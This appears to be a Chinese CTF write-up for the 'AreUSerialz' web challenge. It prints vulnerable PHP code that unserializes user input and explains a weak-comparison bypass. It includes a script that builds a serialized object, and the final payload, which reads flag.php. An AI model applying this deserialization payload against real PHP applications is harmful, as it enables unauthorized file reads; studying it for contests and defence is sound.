查看原文
其他

网鼎杯-青龙组-Web-Wp

Cookie 巡安似海 2022-07-01

0x01 开局一张图

一看就知道让我们代码审计


对于这种一长串的源码,还是逐步来解把
首先的解题思路就是查看CTF题目的命名和代码函数
CTF题目这里命名为AreUSerialz,我反正一眼看不出什么端详,打的CTF比较少,直接看函数名字

在下面可以看到有一个unserialize()函数,那这一题基本上就是考反序列化的知识了。
我们整体的浏览一边代码,来看一下程序的大概走向。

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

这里为了看起来方便,把换行都删除了,这样显得紧凑一点。

1、如果GET获取了str参数,isset()函数的作用是判断一个变量是否被设置,如果被设置 值就不为null

2、GET获取到的str参数经过(string)也不知道是干嘛的先不管,给$str变量

然后再进行一次判断,$str经过is_valid()函数的过滤,也不知道这个函数是干嘛的先不管。

3、把$str进行反序列化给到$obj变量,

这里因为执行了反序列所以会执行__wakeup()函数,和__destruct()函数,但是这里没有__wakeup()所以只会执行__destruct(),我们跟进函数进行查看

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

函数这里是进行一个op值的判断,如果==="2"就强制给op赋值为1,否则就进入process()函数,继续跟进函数

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

这个函数也是进行一个判断:

如果op=="1"就进入write()函数,否则再次进行判断

如果op=="2"就进入read()函数,最后再输出$res的结果

如果op既不等于1也不等于2就输出Bad Hakcer!
而write()函数中就是对文件进行一个写的操作,read()函数对文件进行一个读的操作,我们是寻找flag肯定是需要进入read()函数

整体的代码过程

str -> __destruct()

op值对比 === 类型、值

op === "2" 则op=1 否则op=原来的值
->process()

op值对比 == 值

op == "1"写入文件 否则op == “2” 则读取文件 否则输出Bad Hakcer!
所以我们需要 op 不=== “2” 并且 op == “2”

这里需要用到PHP的弱类型比较

使用"2"即可满足两个条件。
这里不对弱比较做过多的解释
最后因为他是经过反序列化进行传参,所以我们需要在本地写一个序列化的脚本,把我们需要的参数序列化输出出来,然后再传递进去。

<?php
    class FileHandler{         //这个类名一定要和题中的一样  
        public $op = ' 2'; // 源码提示我们需要绕过op === "2" 并且满足 op == "2"  
        public $filename = "flag.php"; // 源码文件开头调用的flag.php文件  
        public $content = "sss"; // 这里源码定义了这个变量,但没用到,可以随便给  
    }  
    //这里用public而不是protected是因为protected序列化之后会有%00字符,而public没有  
    $flag_1 = new FileHandler();  
    $flag_s = serialize($flag_1);  
    echo $flag_s;  
?>



0x02 public、protected、private下序列化对象的区别

php v7.x反序列化的时候对访问类别不敏感

  • public变量

直接变量名反序列化出来

  • protected变量

\x00 + * + \x00 + 变量名

可以用S:5:"\00*\00op"来代替s:5:"?*?op"

  • private变量

\x00 + 类名 + \x00 + 变量名



这里需要的参数已经再代码中给出了

1.O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";} 

我们也可以把他反序列化输出看看

<?php  
    $s ='O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";}';  
    var_dump(unserialize($s));  
?>

最后我们复制生成出来的字符串然后接str参数就可以访问到flag.php文件了

前端没有,查看源代码

成功获取Flag!

最后,技术上有你有我,愿我们早日成为大牛!

往期推荐 ●●

// 1

|  Burp半自动时间盲注

// 2

|  简单实现程序DLL劫持

// 3

【实战】储存XSS+CSRF(XSS绕过到蠕虫攻击)

// 4

一次实战挖掘软件逻辑漏洞

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存